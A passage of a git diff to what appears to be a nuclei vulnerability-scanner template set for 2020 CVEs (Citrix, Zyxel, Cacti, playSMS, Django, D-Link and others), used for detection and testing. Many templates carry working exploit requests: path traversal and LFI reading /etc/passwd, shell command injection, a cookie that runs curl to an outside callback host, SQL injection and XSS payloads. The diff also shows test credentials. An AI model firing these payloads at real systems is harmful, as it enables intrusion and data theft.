CiAgICAgICAgICAgIDxQQ0s+CiAgICAgICAgICAgIDxVc2VybWFuYWdlbWVudD4KICAgICAgICAgICAgICA8U0FQX1hJX1BDS19DT05GSUc+CiAgICAgICAgICAgICAgICA8cm9sZU5hbWU+QWRtaW5pc3RyYXRvcjwvcm9sZU5hbWU+CiAgICAgICAgICAgICAgPC9TQVBfWElfUENLX0NPTkZJRz4KICAgICAgICAgICAgICA8U0FQX1hJX1BDS19DT01NVU5JQ0FUSU9OPgogICAgICAgICAgICAgICAgPHJvbGVOYW1lPlRoaXNJc1JuZDczODA8L3JvbGVOYW1lPgogICAgICAgICAgICAgIDwvU0FQX1hJX1BDS19DT01NVU5JQ0FUSU9OPgogICAgICAgICAgICAgIDxTQVBfWElfUENLX01PTklUT1I+CiAgICAgICAgICAgICAgICA8cm9sZU5hbWU+VGhpc0lzUm5kNzM4MDwvcm9sZU5hbWU+CiAgICAgICAgICAgICAgPC9TQVBfWElfUENLX01PTklUT1I+CiAgICAgICAgICAgICAgPFNBUF9YSV9QQ0tfQURNSU4+CiAgICAgICAgICAgICAgICA8cm9sZU5hbWU+VGhpc0lzUm5kNzM4MDwvcm9sZU5hbWU+CiAgICAgICAgICAgICAgPC9TQVBfWElfUENLX0FETUlOPgogICAgICAgICAgICAgIDxQQ0tVc2VyPgogICAgICAgICAgICAgICAgPHVzZXJOYW1lIHNlY3VyZT0idHJ1ZSI+c2FwUnBvYzYzNTE8L3VzZXJOYW1lPgogICAgICAgICAgICAgICAgPHBhc3N3b3JkIHNlY3VyZT0idHJ1ZSI+U2VjdXJlIVB3RDg4OTA8L3Bhc3N3b3JkPgogICAgICAgICAgICAgIDwvUENLVXNlcj4KICAgICAgICAgICAgICA8UENLUmVjZWl2ZXI+CiAgICAgICAgICAgICAgICA8dXNlck5hbWU+VGhpc0lzUm5kNzM4MDwvdXNlck5hbWU+CiAgICAgICAgICAgICAgICA8cGFzc3dvcmQgc2VjdXJlPSJ0cnVlIj5UaGlzSXNSbmQ3MzgwPC9wYXNzd29yZD4KICAgICAgICAgICAgICA8L1BDS1JlY2VpdmVyPgogICAgICAgICAgICAgIDxQQ0tNb25pdG9yPgogICAgICAgICAgICAgICAgPHVzZXJOYW1lPlRoaXNJc1JuZDczODA8L3VzZXJOYW1lPgogICAgICAgICAgICAgICAgPHBhc3N3b3JkIHNlY3VyZT0idHJ1ZSI+VGhpc0lzUm5kNzM4MDwvcGFzc3dvcmQ+CiAgICAgICAgICAgICAgPC9QQ0tNb25pdG9yPgogICAgICAgICAgICAgIDxQQ0tBZG1pbj4KICAgICAgICAgICAgICAgIDx1c2VyTmFtZT5UaGlzSXNSbmQ3MzgwPC91c2VyTmFtZT4KICAgICAgICAgICAgICAgIDxwYXNzd29yZCBzZWN1cmU9InRydWUiPlRoaXNJc1JuZDczODA8L3Bhc3N3b3JkPgogICAgICAgICAgICAgIDwvUENLQWRtaW4+CiAgICAgICAgICAgIDwvVXNlcm1hbmFnZW1lbnQ+CiAgICAgICAgICA8L1BDSz4KICAgIA== + userDetails + + # userName - sapRpoc6351 + # password - Secure!PwD8890 + + matchers-condition: and + matchers: + - type: word + words: + - "CTCWebServiceSi" + - "SOAP-ENV" + part: body + condition: and + + - type: status + status: + - 200 + + - type: word + words: + - "text/xml" + - "SAP NetWeaver Application Server" + part: header + +# Enhanced by mp on 2022/04/29 diff --git a/nuclei-templates/CVE-2020/cve-2020-7136.yaml b/nuclei-templates/CVE-2020/CVE-2020-7136.yaml similarity index 100% rename from nuclei-templates/CVE-2020/cve-2020-7136.yaml rename to nuclei-templates/CVE-2020/CVE-2020-7136.yaml diff --git a/nuclei-templates/CVE-2020/CVE-2020-7318.yaml b/nuclei-templates/CVE-2020/CVE-2020-7318.yaml new file mode 100644 index 0000000000..00cbcb1359 --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-7318.yaml @@ -0,0 +1,45 @@ +id: CVE-2020-7318 + +info: + name: McAfee ePolicy Orchestrator Reflected XSS + author: dwisiswant0 + severity: medium + description: | + Cross-Site Scripting vulnerability in McAfee ePolicy Orchestrator (ePO) + prior to 5.10.9 Update 9 allows administrators to inject arbitrary web + script or HTML via multiple parameters where the administrator's entries + were not correctly sanitized. + + reference: + - https://swarm.ptsecurity.com/vulnerabilities-in-mcafee-epolicy-orchestrator/ + reference: + - https://kc.mcafee.com/corporate/index?page=content&id=SB10332 + classification: + cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N + cvss-score: 4.3 + cve-id: CVE-2020-7318 + cwe-id: CWE-79 + tags: cve,cve2020,xss,mcafee + +requests: + - raw: + - | + GET /PolicyMgmt/policyDetailsCard.do?poID=19&typeID=3&prodID=%27%22%3E%3Csvg%2fonload%3dalert(document.domain)%3E HTTP/1.1 + Host: {{Hostname}} + Connection: close + + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + words: + - "text/html" + part: header + - type: word + words: + - "Policy Name" + - "'\">" + condition: and + part: body diff --git a/nuclei-templates/CVE-2020/CVE-2020-8191.yaml b/nuclei-templates/CVE-2020/CVE-2020-8191.yaml deleted file mode 100644 index 137397c3ee..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-8191.yaml +++ /dev/null @@ -1,48 +0,0 @@ -id: CVE-2020-8191 - -info: - name: Citrix ADC/Gateway - Cross-Site Scripting - author: dwisiswant0 - severity: medium - description: | - Citrix ADC and Citrix Gateway versions before 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14 and 10.5-70.18 and Citrix SDWAN WAN-OP versions before 11.1.1a, 11.0.3d and 10.2.7 contain a cross-site scripting vulnerability due to improper input validation. - reference: - - https://support.citrix.com/article/CTX276688 - - https://nvd.nist.gov/vuln/detail/CVE-2020-8191 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N - cvss-score: 6.1 - cve-id: CVE-2020-8191 - cwe-id: CWE-79 - epss-score: 0.00223 - tags: cve,cve2020,citrix,xss - metadata: - max-request: 1 - -http: - - raw: - - | - POST /menu/stapp HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - X-NITRO-USER: xpyZxwy6 - - sid=254&pe=1,2,3,4,5&appname=%0a&au=1&username=nsroot - - matchers-condition: and - matchers: - - type: word - words: - - "" - part: body - - - type: status - status: - - 200 - - - type: word - words: - - "text/html" - part: header - -# Enhanced by mp on 2022/09/02 diff --git a/nuclei-templates/CVE-2020/CVE-2020-8193.yaml b/nuclei-templates/CVE-2020/CVE-2020-8193.yaml deleted file mode 100644 index 78ea8a7a5d..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-8193.yaml +++ /dev/null @@ -1,66 +0,0 @@ -id: CVE-2020-8193 -info: - name: Citrix unauthenticated LFI - author: pdteam - severity: medium - description: Improper access control in Citrix ADC and Citrix Gateway versions before 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14 and 10.5-70.18 and Citrix SDWAN WAN-OP versions before 11.1.1a, 11.0.3d and 10.2.7 allows unauthenticated access to certain URL endpoints. - reference: - - https://github.com/jas502n/CVE-2020-8193 - - http://packetstormsecurity.com/files/160047/Citrix-ADC-NetScaler-Local-File-Inclusion.html - - https://support.citrix.com/article/CTX276688 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N - cvss-score: 6.5 - cve-id: CVE-2020-8193 - cwe-id: CWE-862 - tags: cve,cve2020,citrix,lfi,kev -requests: - - raw: - - | - POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/xml - X-NITRO-USER: xpyZxwy6 - X-NITRO-PASS: xWXHUJ56 - - - - | - GET /menu/ss?sid=nsroot&username=nsroot&force_setup=1 HTTP/1.1 - Host: {{Hostname}} - - | - GET /menu/neo HTTP/1.1 - Host: {{Hostname}} - - | - GET /menu/stc HTTP/1.1 - Host: {{Hostname}} - - | - POST /pcidss/report?type=allprofiles&sid=loginchallengeresponse1requestbody&username=nsroot&set=1 HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/xml - X-NITRO-USER: oY39DXzQ - X-NITRO-PASS: ZuU9Y9c1 - rand_key: {{randkey}} - - - - | - POST /rapi/filedownload?filter=path:%2Fetc%2Fpasswd HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/xml - X-NITRO-USER: oY39DXzQ - X-NITRO-PASS: ZuU9Y9c1 - rand_key: {{randkey}} - - - cookie-reuse: true - extractors: - - type: regex - name: randkey # dynamic variable - part: body - internal: true - regex: - - "(?m)[0-9]{3,10}\\.[0-9]+" - matchers: - - type: regex - regex: - - "root:.*:0:0:" - part: body diff --git a/nuclei-templates/CVE-2020/CVE-2020-8194.yaml b/nuclei-templates/CVE-2020/CVE-2020-8194.yaml deleted file mode 100644 index b42f15be5a..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-8194.yaml +++ /dev/null @@ -1,45 +0,0 @@ -id: CVE-2020-8194 - -info: - name: Citrix ADC and Citrix NetScaler Gateway - Remote Code Injection - author: dwisiswant0 - severity: medium - - description: Citrix ADC and NetScaler Gateway are susceptible to remote code injection. An attacker can potentially execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system without entering necessary credentials. Affected versions are before 13.0-58.30, 12.1-57.18, 12.0-63.21, 11.1-64.14 and 10.5-70.18. Citrix SDWAN WAN-OP versions before 11.1.1a, 11.0.3d and 10.2.7 allow modification of a file download. - reference: - - https://support.citrix.com/article/CTX276688 - - https://nvd.nist.gov/vuln/detail/CVE-2020-8194 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:H/A:N - cvss-score: 6.5 - cve-id: CVE-2020-8194 - cwe-id: CWE-94 - epss-score: 0.97231 - tags: cve,cve2020,citrix - metadata: - max-request: 1 - -http: - - raw: - - | - GET /menu/guiw?nsbrand=1&protocol=nonexistent.1337">&id=3&nsvpx=phpinfo HTTP/1.1 - Host: {{Hostname}} - Cookie: startupapp=st - - matchers-condition: and - matchers: - - type: word - words: - - "" - part: body - - - type: word - words: - - "application/x-java-jnlp-file" - part: header - - - type: status - status: - - 200 - -# Enhanced by md on 2023/04/04 diff --git a/nuclei-templates/CVE-2020/cve-2020-8512.yaml b/nuclei-templates/CVE-2020/CVE-2020-8512.yaml similarity index 100% rename from nuclei-templates/CVE-2020/cve-2020-8512.yaml rename to nuclei-templates/CVE-2020/CVE-2020-8512.yaml diff --git a/nuclei-templates/CVE-2020/CVE-2020-8644.yaml b/nuclei-templates/CVE-2020/CVE-2020-8644.yaml deleted file mode 100644 index 9f91299c9c..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-8644.yaml +++ /dev/null @@ -1,58 +0,0 @@ -id: CVE-2020-8644 - -info: - name: playSMS <1.4.3 - Remote Code Execution - author: dbrwsky - severity: critical - description: PlaySMS before version 1.4.3 is susceptible to remote code execution because it double processes a server-side template. - reference: - - https://research.nccgroup.com/2020/02/11/technical-advisory-playsms-pre-authentication-remote-code-execution-cve-2020-8644/ - - https://playsms.org/2020/02/05/playsms-1-4-3-has-been-released/ - - https://nvd.nist.gov/vuln/detail/CVE-2020-8644 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2020-8644 - cwe-id: CWE-74 - tags: cve,cve2020,ssti,playsms,rce,unauth,kev - -requests: - - raw: - - | - GET /index.php?app=main&inc=core_auth&route=login HTTP/1.1 - Host: {{Hostname}} - Origin: {{BaseURL}} - - - | - POST /index.php?app=main&inc=core_auth&route=login&op=login HTTP/1.1 - Host: {{Hostname}} - Origin: {{BaseURL}} - Content-Type: application/x-www-form-urlencoded - - X-CSRF-Token={{csrf}}&username=%7B%7B%60echo%20%27CVE-2020-8644%27%20%7C%20rev%60%7D%7D&password= - - cookie-reuse: true - redirects: true - max-redirects: 2 - extractors: - - type: xpath - name: csrf - part: body - attribute: value - internal: true - xpath: - - /html/body/div[1]/div/div/table/tbody/tr[2]/td/table/tbody/tr/td/form/input - - matchers-condition: and - matchers: - - - type: word - part: body - words: - - '4468-0202-EVC' - - - type: status - status: - - 200 - -# Enhanced by mp on 2022/07/07 diff --git a/nuclei-templates/CVE-2020/CVE-2020-8654.yaml b/nuclei-templates/CVE-2020/CVE-2020-8654.yaml deleted file mode 100644 index 83629c7d1c..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-8654.yaml +++ /dev/null @@ -1,41 +0,0 @@ -id: CVE-2020-8654 -info: - name: EyesOfNetwork 5.3 - Authenticated RCE - author: praetorian-thendrickson - severity: high - description: EyesOfNetwork version 5.1-5.3 is vulnerable to multiple exploits. Version 5.3 is vulnerable to CVE-2020-8654 (authenticated rce), CVE-2020-8655 (privesc), CVE-2020-8656 (SQLi - API version before 2.4.2), and 2020-8657 (hardcoded api key). Versions 5.1-5.3 are vulnerable to CVE-2020-9465 (SQLi). - reference: - - https://github.com/h4knet/eonrce - - https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/linux/http/eyesofnetwork_autodiscovery_rce.rb - - https://nvd.nist.gov/vuln/detail/CVE-2020-8657 - - https://github.com/EyesOfNetworkCommunity/eonweb/issues/50 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - cvss-score: 8.8 - cve-id: CVE-2020-8654 - cwe-id: CWE-78 - tags: cve,cve2020,cisa,eyesofnetwork,rce,authenticated -requests: - - method: GET - path: - - "{{BaseURL}}/css/eonweb.css" - extractors: - - type: regex - name: version - internal: true - part: body - group: 1 - regex: - - '# VERSION : ([0-9.]+)' - matchers-condition: and - matchers: - - type: dsl - dsl: - - compare_versions(version, '< 5.4', '>= 5.1') - - type: word - part: body - words: - - "EyesOfNetwork" - - type: status - status: - - 200 diff --git a/nuclei-templates/CVE-2020/cve-2020-8771.yaml b/nuclei-templates/CVE-2020/CVE-2020-8771.yaml similarity index 100% rename from nuclei-templates/CVE-2020/cve-2020-8771.yaml rename to nuclei-templates/CVE-2020/CVE-2020-8771.yaml diff --git a/nuclei-templates/CVE-2020/cve-2020-8772.yaml b/nuclei-templates/CVE-2020/CVE-2020-8772.yaml similarity index 100% rename from nuclei-templates/CVE-2020/cve-2020-8772.yaml rename to nuclei-templates/CVE-2020/CVE-2020-8772.yaml diff --git a/nuclei-templates/CVE-2020/CVE-2020-8813.yaml b/nuclei-templates/CVE-2020/CVE-2020-8813.yaml deleted file mode 100644 index 83342323b5..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-8813.yaml +++ /dev/null @@ -1,42 +0,0 @@ -id: CVE-2020-8813 - -info: - name: Cacti v1.2.8 - Remote Code Execution - author: gy741 - severity: high - description: Cacti v1.2.8 is susceptible to remote code execution. This vulnerability could be exploited without authentication if "Guest Realtime Graphs" privileges are enabled. - reference: - - https://shells.systems/cacti-v1-2-8-authenticated-remote-code-execution-cve-2020-8813/ - - https://github.com/Cacti/cacti/releases - - https://gist.github.com/mhaskar/ebe6b74c32fd0f7e1eedf1aabfd44129 - - https://drive.google.com/file/d/1A8hxTyk_NgSp04zPX-23nPbsSDeyDFio/view - - https://nvd.nist.gov/vuln/detail/CVE-2020-8813 - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - cvss-score: 8.8 - cve-id: CVE-2020-8813 - cwe-id: CWE-78 - epss-score: 0.96407 - tags: cve,cve2020,cacti,rce,oast - metadata: - max-request: 1 - -http: - - raw: - - | - GET /graph_realtime.php?action=init HTTP/1.1 - Host: {{Hostname}} - Cookie: Cacti=%3Bcurl%20http%3A//{{interactsh-url}} - - matchers: - - type: word - part: interactsh_protocol # Confirms the HTTP Interaction - words: - - "http" - - - type: word - part: interactsh_request - words: - - "User-Agent: curl" - -# Enhanced by mp on 2022/06/27 diff --git a/nuclei-templates/CVE-2020/CVE-2020-8982.yaml b/nuclei-templates/CVE-2020/CVE-2020-8982.yaml new file mode 100644 index 0000000000..93cb4b4014 --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-8982.yaml @@ -0,0 +1,44 @@ +id: CVE-2020-8982 + +info: + name: Citrix ShareFile StorageZones <=5.10.x - Arbitrary File Read + author: dwisiswant0 + severity: high + description: Citrix ShareFile StorageZones (aka storage zones) Controller versions through at least 5.10.x are susceptible to an unauthenticated arbitrary file read vulnerability. + reference: + - https://support.citrix.com/article/CTX269106 + - https://drive.google.com/file/d/1Izd5MF_HHuq8YSwAyJLBErWL_nbe6f9v/view + - https://www.linkedin.com/posts/jonas-hansen-2a2606b_citrix-sharefile-storage-zones-controller-activity-6663432907455025152-8_w6/ + - https://nvd.nist.gov/vuln/detail/CVE-2020-8982 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2020-8982 + cwe-id: CWE-22 + cpe: cpe:2.3:a:citrix:sharefile_storagezones_controller:*:*:*:*:*:*:*:* + epss-score: 0.72182 + tags: cve,cve2020,citrix,lfi + metadata: + max-request: 1 + +http: + - method: GET + path: + - "{{BaseURL}}/XmlPeek.aspx?dt=\\\\..\\\\..\\\\..\\\\..\\\\..\\\\..\\\\Windows\\\\win.ini&x=/validate.ashx?requri" + + matchers-condition: and + matchers: + + - type: word + part: body + words: + - "bit app support" + - "fonts" + - "extensions" + condition: and + + - type: status + status: + - 200 + +# Enhanced by mp on 2022/06/27 diff --git a/nuclei-templates/CVE-2020/CVE-2020-9043.yaml b/nuclei-templates/CVE-2020/CVE-2020-9043.yaml deleted file mode 100644 index a69d7a2a55..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-9043.yaml +++ /dev/null @@ -1,64 +0,0 @@ -id: CVE-2020-9043 -info: - name: WordPress wpCentral < 1.5.1 - Improper Access Control to Privilege Escalation - author: scent2d - severity: high - description: | - The wpCentral plugin before 1.5.1 for WordPress allows disclosure of the connection key for Wordpress Admin Account. - reference: - - https://wpscan.com/vulnerability/10074 - - https://www.wordfence.com/blog/2020/02/vulnerability-in-wpcentral-plugin-leads-to-privilege-escalation/ - - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-9043 - - https://wordpress.org/plugins/wp-central/#developers - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H - cvss-score: 8.8 - cve-id: CVE-2020-9043 - cwe-id: CWE-200 - metadata: - verified: "true" - tags: cve,cve2020,wordpress,wp-plugin,wpcentral,authenticated,wp -requests: - - raw: - - | - POST /wp-login.php HTTP/1.1 - Host: {{Hostname}} - Content-Type: application/x-www-form-urlencoded - - log={{username}}&pwd={{password}}&wp-submit=Log+In&testcookie=1 - - | - GET /wp-admin/index.php HTTP/1.1 - Host: {{Hostname}} - - | - GET /wp-login.php?action=logout&_wpnonce={{nonce}} HTTP/1.1 - Host: {{Hostname}} - - | - GET /wp-admin/admin-ajax.php?action=my_wpc_signon&auth_key={{authkey}} HTTP/1.1 - Host: {{Hostname}} - redirects: true - max-redirects: 2 - cookie-reuse: true - req-condition: true - matchers: - - type: dsl - dsl: - - "contains(all_headers_4, 'text/html')" - - "status_code_4 == 200" - - "contains(body_4, 'wpCentral Connection Key')" - - contains(body_4, "pagenow = \'dashboard\'") - condition: and - extractors: - - type: regex - name: authkey - part: body - group: 1 - regex: - - 'style="word-wrap:break-word;">([a-z0-9]+)' - internal: true - - type: regex - name: nonce - part: body - group: 1 - regex: - - '_wpnonce=([0-9a-z]+)' - internal: true diff --git a/nuclei-templates/CVE-2020/CVE-2020-9054.yaml b/nuclei-templates/CVE-2020/CVE-2020-9054.yaml deleted file mode 100644 index dfaeba128c..0000000000 --- a/nuclei-templates/CVE-2020/CVE-2020-9054.yaml +++ /dev/null @@ -1,34 +0,0 @@ -id: CVE-2020-9054 - -info: - name: Zyxel NAS Firmware 5.21- Remote Code Execution - author: dhiyaneshDk - severity: critical - description: 'Multiple Zyxel network-attached storage (NAS) devices running firmware version 5.21 contain a pre-authentication command injection vulnerability, which may allow a remote, unauthenticated attacker to execute arbitrary code on a vulnerable device. Zyxel NAS devices achieve authentication by using the weblogin.cgi CGI executable. This program fails to properly sanitize the username parameter that is passed to it. If the username parameter contains certain characters, it can allow command injection with the privileges of the web server that runs on the Zyxel device. Although the web server does not run as the root user, Zyyxel devices include a setuid utility that can be leveraged to run any command with root privileges. As such, it should be assumed that exploitation of this vulnerability can lead to remote code execution with root privileges. By sending a specially-crafted HTTP POST or GET request to a vulnerable Zyyxel device, a remote, unauthenticated attacker may be able to execute arbitrary code on the device. This may happen by directly connecting to a device if it is directly exposed to an attacker. However, there are ways to trigger such crafted requests even if an attacker does not have direct connectivity to a vulnerable devices. For example, simply visiting a website can result in the compromise of any Zyyxel device that is reachable from the client system. Affected products include: NAS326 before firmware V5.21(AAZF.7)C0 NAS520 before firmware V5.21(AASZ.3)C0 NAS540 before firmware V5.21(AATB.4)C0 NAS542 before firmware V5.21(ABAG.4)C0 Zyyxel has made firmware updates available for NAS326, NAS520, NAS540, and NAS542 devices. Affected models that are end-of-support: NSA210, NSA220, NSA220+, NSA221, NSA310, NSA310S, NSA320, NSA320S, NSA325 and NSA325v2.' - reference: - - https://krebsonsecurity.com/2020/02/zyxel-fixes-0day-in-network-storage-devices/ - - https://www.zyxel.com/support/remote-code-execution-vulnerability-of-NAS-products.shtml - - https://nvd.nist.gov/vuln/detail/CVE-2020-9054 - - https://kb.cert.org/vuls/id/498544/ - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.8 - cve-id: CVE-2020-9054 - cwe-id: CWE-78 - tags: cve,cve2020,rce,zyxel,injection - -requests: - - method: GET - path: - - "{{BaseURL}}/cgi-bin/weblogin.cgi?username=admin';cat /etc/passwd" - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - type: regex - regex: - - "root:.*:0:0:" - -# Enhanced by mp on 2022/04/29 diff --git a/nuclei-templates/CVE-2020/CVE-2020-9376.yaml b/nuclei-templates/CVE-2020/CVE-2020-9376.yaml new file mode 100644 index 0000000000..ce1b7a0af6 --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-9376.yaml @@ -0,0 +1,48 @@ +id: CVE-2020-9376 + +info: + name: D-Link DIR-610 Devices - Information Disclosure + author: whynotke + severity: high + description: | + D-Link DIR-610 devices allow information disclosure via SERVICES=DEVICE.ACCOUNT%0AAUTHORIZED_GROUP=1 to getcfg.php. + NOTE: This vulnerability only affects products that are no longer supported by the maintainer. + reference: + - https://gist.github.com/GouveaHeitor/dcbb67b301cc45adc00f8a6a2a0a590f + - https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10182 + - https://www.dlink.com.br/produto/dir-610/ + - https://nvd.nist.gov/vuln/detail/CVE-2020-9376 + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N + cvss-score: 7.5 + cve-id: CVE-2020-9376 + cwe-id: CWE-74 + epss-score: 0.97034 + tags: cve,cve2020,dlink,disclosure,router + metadata: + max-request: 1 + +http: + - method: POST + path: + - "{{BaseURL}}/getcfg.php" + + body: SERVICES=DEVICE.ACCOUNT%0aAUTHORIZED_GROUP=1 + headers: + Content-Type: application/x-www-form-urlencoded + + matchers-condition: and + matchers: + + - type: word + part: body + words: + - "Admin" + - "" + - "" + condition: and + + - type: status + status: + - 200 +# Enhanced by mp on 2022/06/27 diff --git a/nuclei-templates/CVE-2020/CVE-2020-9402.yaml b/nuclei-templates/CVE-2020/CVE-2020-9402.yaml new file mode 100644 index 0000000000..4c186f08ef --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-2020-9402.yaml @@ -0,0 +1,35 @@ +id: CVE-2020-9402 + +info: + name: Django SQL Injection + author: geeknik + severity: high + description: Django 1.11 before 1.11.29, 2.2 before 2.2.11, and 3.0 before 3.0.4 allow SQL injection if untrusted data is used as a tolerance parameter in GIS functions and aggregates on Oracle. By passing a suitably crafted tolerance to GIS functions and aggregates on Oracle, it is possible to break character escaping and inject malicious SQL. + reference: + - https://www.debian.org/security/2020/dsa-4705 + - https://github.com/vulhub/vulhub/tree/master/django/CVE-2020-9402 + - https://docs.djangoproject.com/en/3.0/releases/security/ + - https://nvd.nist.gov/vuln/detail/CVE-2020-9402 + remediation: Upgrade to the latest version. + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 8.8 + cve-id: CVE-2020-9402 + cwe-id: CWE-89 + tags: cve,cve2020,django,sqli + +requests: + - method: GET + path: + - "{{BaseURL}}/?q=20)%20%3D%201%20OR%20(select%20utl_inaddr.get_host_name((SELECT%20version%20FROM%20v%24instance))%20from%20dual)%20is%20null%20%20OR%20(1%2B1" + + matchers: + - type: word + words: + - "DatabaseError at" + - "ORA-29257:" + - "ORA-06512:" + - "Request Method:" + condition: and + +# Enhanced by mp on 2022/02/04 diff --git a/nuclei-templates/CVE-2020/CVE-20200924a(1).yaml b/nuclei-templates/CVE-2020/CVE-20200924a(1).yaml deleted file mode 100644 index 2f0b34a3f6..0000000000 --- a/nuclei-templates/CVE-2020/CVE-20200924a(1).yaml +++ /dev/null @@ -1,39 +0,0 @@ -id: CVE-20200924a - -info: - name: Web requests can navigate outside of DRP controlled areas - Directory traversal - author: c-sh0 - severity: critical - description: Web requests can navigate outside of DRP controlled areas - Directory traversal - reference: - - https://docs.rackn.io/en/latest/doc/security/cve_20200924A.html - - https://docs.rackn.io/en/latest/doc/release.html - - https://registry.hub.docker.com/v1/repositories/digitalrebar/provision/tags - - Affected versions - v4.3.0, v4.3.2, v4.3.3, v4.4.0 (maybe others) - classification: - cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H - cvss-score: 9.80 - cve-id: CVE-20200924a - cwe-id: CWE-22 - tags: cve,cve2020,lfi,rackn,digitalrebar - -requests: - - method: GET - path: - - "{{BaseURL}}/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" - - matchers-condition: and - matchers: - - type: status - status: - - 200 - - - type: word - part: header - words: - - 'X-Drp-Sha256sum:' - - - type: regex - regex: - - "root:.*:0:0" - diff --git a/nuclei-templates/CVE-2020/CVE-20200924a.yaml b/nuclei-templates/CVE-2020/CVE-20200924a.yaml new file mode 100644 index 0000000000..7bfd8f9b88 --- /dev/null +++ b/nuclei-templates/CVE-2020/CVE-20200924a.yaml @@ -0,0 +1,33 @@ +id: CVE-20200924a +info: + name: Web requests can navigate outside of DRP controlled areas - Directory traversal + author: c-sh0 + severity: critical + description: Web requests can navigate outside of DRP controlled areas - Directory traversal + reference: + - https://docs.rackn.io/en/latest/doc/security/cve_20200924A.html + - https://docs.rackn.io/en/latest/doc/release.html + - https://registry.hub.docker.com/v1/repositories/digitalrebar/provision/tags + - Affected versions - v4.3.0, v4.3.2, v4.3.3, v4.4.0 (maybe others) + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H + cvss-score: 9.80 + cve-id: CVE-20200924a + cwe-id: CWE-22 + tags: cve,cve2020,lfi,rackn,digitalrebar +requests: + - method: GET + path: + - "{{BaseURL}}/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd" + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + part: header + words: + - 'X-Drp-Sha256sum:' + - type: regex + regex: + - "root:.*:0:0" diff --git a/nuclei-templates/CVE-2020/cve-2020-0618.yaml b/nuclei-templates/CVE-2020/cve-2020-0618.yaml new file mode 100644 index 0000000000..10f870957f --- /dev/null +++ b/nuclei-templates/CVE-2020/cve-2020-0618.yaml @@ -0,0 +1,30 @@ +id: CVE-2020-0618 + +info: + name: RCE in SQL Server Reporting Services + author: joeldeleep + description: A remote code execution vulnerability exists in Microsoft SQL Server Reporting Services when it incorrectly handles page requests, aka 'Microsoft SQL Server Reporting Services Remote Code Execution Vulnerability'. + severity: high + reference: + - https://www.mdsec.co.uk/2020/02/cve-2020-0618-rce-in-sql-server-reporting-services-ssrs/ + - https://github.com/euphrat1ca/CVE-2020-0618 + tags: cve,cve2020,rce + classification: + cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H + cvss-score: 8.80 + cve-id: CVE-2020-0618 + cwe-id: CWE-502 + +requests: + - method: GET + path: + - "{{BaseURL}}/ReportServer/Pages/ReportViewer.aspx" + matchers-condition: and + matchers: + - type: status + status: + - 200 + - type: word + words: + - "view report" + part: body \ No newline at end of file diff --git a/nuclei-templates/CVE-2020/CVE-2020-10148.yaml b/nuclei-templates/CVE-2020/cve-2020-10148.yaml similarity index 100% rename from nuclei-templates/CVE-2020/CVE-2020-10148.yaml rename to nuclei-templates/CVE-2020/cve-2020-10148.yaml diff --git a/nuclei-templates/CVE-2020/cve-2020-2199.yaml b/nuclei-templates/CVE-2020/cve-2020-10199.yaml similarity index 100% rename from nuclei-templates/CVE-2020/cve-2020-2199.yaml rename to nuclei-templates/CVE-2020/cve-2020-10199.yaml diff --git a/nuclei-templates/CVE-2020/cve-2020-10548.yaml b/nuclei-templates/CVE-2020/cve-2020-10548.yaml deleted file mode 100644 index fb420c8e1b..0000000000 --- a/nuclei-templates/CVE-2020/cve-2020-10548.yaml +++ /dev/null @@ -1,29 